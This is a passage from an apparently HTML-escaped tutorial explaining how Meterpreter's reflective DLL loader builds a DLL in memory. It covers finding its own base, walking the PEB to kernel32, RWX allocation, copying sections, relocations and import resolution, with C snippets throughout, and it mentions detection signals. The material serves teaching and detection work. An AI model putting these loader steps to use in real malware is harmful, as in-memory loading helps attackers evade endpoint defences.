    &lt;span class="n"&gt;HMODULE&lt;/span&gt; &lt;span class="n"&gt;dll&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;LoadLibraryA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dll_name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// walk the thunk array&lt;/span&gt;
    &lt;span class="n"&gt;ULONG_PTR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;name_thunk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;OriginalFirstThunk&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;ULONG_PTR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;iat&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FirstThunk&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;name_thunk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;name_thunk&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;IMAGE_ORDINAL_FLAG&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// import by ordinal number (e.g. #42)&lt;/span&gt;
            &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;iat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dll&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MAKEINTRESOURCE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;name_thunk&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFF&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// import by name&lt;/span&gt;
            &lt;span class="n"&gt;IMAGE_IMPORT_BY_NAME&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;by_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;name_thunk&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;iat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dll&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;by_name&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;name_thunk&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="n"&gt;iat&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After this runs, every IAT slot has a real address. Every function call in the DLL now works correctly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Chapter 5: The Reflective Loader — Building a DLL From Nothing
&lt;/h2&gt;

&lt;p&gt;Alright. Here's where it gets genuinely impressive.&lt;/p&gt;

&lt;p&gt;The reflective loader is a small, self-contained piece of code that lives &lt;strong&gt;inside&lt;/strong&gt; the Meterpreter DLL itself — exported under the name &lt;code&gt;ReflectiveLoader&lt;/code&gt;. When the initial shellcode lands on the target machine, it doesn't call &lt;code&gt;LoadLibrary&lt;/code&gt;. It finds this export and calls it directly.&lt;/p&gt;

&lt;p&gt;And &lt;code&gt;ReflectiveLoader&lt;/code&gt; wakes up in an awkward situation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"I exist somewhere in memory. I don't know where.
 I have no file path. The OS loader didn't load me.
 My IAT isn't resolved — I can't call any imported functions.
 My relocations aren't patched — I can't use global variables.
 I need to load myself. From scratch. Right now."
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is like waking up in a foreign country with no phone, no wallet, no ID, and needing to build a house. You have to first figure out where you are, then find basic tools, then do the actual construction.&lt;/p&gt;

&lt;p&gt;Here's exactly how it does it:&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 0 — "Where Am I?" (The Bootstrap Problem)
&lt;/h3&gt;

&lt;p&gt;The loader needs to find its own base address in memory. It can't use global variables (relocations not applied). It can't call functions (IAT not resolved). It has nothing.&lt;/p&gt;

&lt;p&gt;The solution is elegant and very old:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;call get_rip      ; "call" pushes the return address (next instruction) onto the                          stack
get_rip:
pop rax           ; pop that address into rax — now rax = current instruction pointer (RIP)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now it has a pointer somewhere inside itself. It scans &lt;strong&gt;backwards&lt;/strong&gt; through memory, looking for the bytes &lt;code&gt;4D 5A&lt;/code&gt; — the &lt;code&gt;MZ&lt;/code&gt; signature that marks the start of a PE file. The first &lt;code&gt;MZ&lt;/code&gt; it finds going backwards is the start of its own DLL.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Memory:
... [random bytes] [MZ][PE][headers][.text][.data]...[ReflectiveLoader code] ...
                    ↑                                           ↑
            start of DLL                               we're executing here
                    ←←←←←← scan backwards until MZ found ←←←←←←
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now it has &lt;code&gt;raw_base&lt;/code&gt; — a pointer to the start of the raw, unloaded DLL bytes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 0.5 — Finding kernel32.dll Without Calling GetModuleHandle
&lt;/h3&gt;

&lt;p&gt;The loader needs &lt;code&gt;VirtualAlloc&lt;/code&gt;, &lt;code&gt;LoadLibraryA&lt;/code&gt;, and &lt;code&gt;GetProcAddress&lt;/code&gt; to do everything else. But it can't call them — they're in the IAT, which isn't resolved yet.&lt;/p&gt;

&lt;p&gt;Solution: walk the PEB manually.&lt;/p&gt;

&lt;p&gt;Every Windows process has a &lt;strong&gt;PEB (Process Environment Block)&lt;/strong&gt; — a structure in memory that contains everything Windows knows about the process. One of its fields is &lt;code&gt;Ldr&lt;/code&gt;, which points to a structure containing a linked list of all loaded modules.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;x64:  gs:[0x60]  →  PEB
                      │
                      └→  PEB.Ldr  →  PEB_LDR_DATA
                                           │
                                           └→  InMemoryOrderModuleList
                                                    │
                                          ┌─────────┴────────── ┐
                                          │LDR_DATA_TABLE_ENTRY │  ← ntdll.dll
                                          ├─────────────────────┤
                                          │ LDR_DATA_TABLE_ENTRY│  ← kernel32.dll
                                          ├─────────────────────┤
                                          │ LDR_DATA_TABLE_ENTRY│ ← kernelbase.dll
                                          └─────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The loader walks this linked list, comparing the &lt;code&gt;BaseDllName&lt;/code&gt; field of each entry against the string "kernel32.dll". When it finds a match, it has kernel32's base address.&lt;/p&gt;

&lt;p&gt;Then it manually parses kernel32's &lt;strong&gt;export table&lt;/strong&gt; (same way it'll later parse the IAT — raw pointer arithmetic through PE headers) to find the addresses of &lt;code&gt;VirtualAlloc&lt;/code&gt;, &lt;code&gt;LoadLibraryA&lt;/code&gt;, and &lt;code&gt;GetProcAddress&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now it has the three tools it needs to do everything else.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — Allocate Memory for the Fully Loaded DLL
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;LPVOID&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;VirtualAlloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                    &lt;span class="c1"&gt;// let OS choose the address&lt;/span&gt;
    &lt;span class="n"&gt;SizeOfImage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;             &lt;span class="c1"&gt;// from Optional Header — how much space the loaded DLL needs&lt;/span&gt;
    &lt;span class="n"&gt;MEM_COMMIT&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MEM_RESERVE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;PAGE_EXECUTE_READWRITE&lt;/span&gt;   &lt;span class="c1"&gt;// needs to be writable (copy sections) AND executable (run code)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;SizeOfImage&lt;/code&gt; from the Optional Header tells it the exact amount of memory the DLL needs when fully expanded in memory. &lt;code&gt;VirtualAlloc&lt;/code&gt; returns a fresh block of &lt;code&gt;MEM_PRIVATE&lt;/code&gt; memory — allocated by us, not mapped from a file.&lt;/p&gt;

&lt;p&gt;This single fact — &lt;code&gt;MEM_PRIVATE&lt;/code&gt; instead of &lt;code&gt;MEM_IMAGE&lt;/code&gt; — is the primary detection signal we'll discuss later.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Copy PE Headers
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_base&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;raw_base&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SizeOfHeaders&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The PE headers go in first. The reflective loader needs them at the new location because every subsequent calculation references &lt;code&gt;new_base + some_RVA&lt;/code&gt;. Headers first, then sections.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — Copy All Sections
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;IMAGE_SECTION_HEADER&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;section&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;first_section&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;NumberOfSections&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;dest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;VirtualAddress&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;    &lt;span class="c1"&gt;// where it goes in memory&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;raw_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;PointerToRawData&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// where it is in the file&lt;/span&gt;

    &lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;section&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SizeOfRawData&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each section gets copied from its file position to its correct memory position. &lt;code&gt;.text&lt;/code&gt; code lands at its &lt;code&gt;VirtualAddress&lt;/code&gt; RVA. &lt;code&gt;.data&lt;/code&gt; at its RVA. &lt;code&gt;.reloc&lt;/code&gt; at its RVA. Everything is in the right place relative to &lt;code&gt;new_base&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — Apply Base Relocations
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;ULONG_PTR&lt;/span&gt; &lt;span class="n"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ULONG_PTR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;optional_header&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ImageBase&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// find the .reloc section&lt;/span&gt;
    &lt;span class="n"&gt;IMAGE_BASE_RELOCATION&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;reloc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;DataDirectory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;VirtualAddress&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reloc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;VirtualAddress&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;WORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;reloc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// entries start right after the header&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reloc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SizeOfBlock&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IMAGE_BASE_RELOCATION&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;IMAGE_REL_BASED_DIR64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;  &lt;span class="c1"&gt;// type 10 = x64&lt;/span&gt;
                &lt;span class="n"&gt;ULONG_PTR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;patch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;reloc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;VirtualAddress&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFFF&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;patch&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="n"&gt;reloc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IMAGE_BASE_RELOCATION&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;reloc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;reloc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;SizeOfBlock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every hardcoded address in the DLL gets the delta added. After this, all internal pointers work correctly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — Resolve the IAT
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;DataDirectory&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;VirtualAddress&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;HMODULE&lt;/span&gt; &lt;span class="n"&gt;dll&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;LoadLibraryA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;ULONG_PTR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;thunk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;OriginalFirstThunk&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;ULONG_PTR&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;iat&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FirstThunk&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;thunk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;thunk&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;IMAGE_ORDINAL_FLAG&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;iat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ULONG_PTR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dll&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;MAKEINTRESOURCE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;thunk&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFF&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;
            &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;iat&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ULONG_PTR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dll&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;IMAGE_IMPORT_BY_NAME&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;new_base&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;thunk&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;thunk&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;iat&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
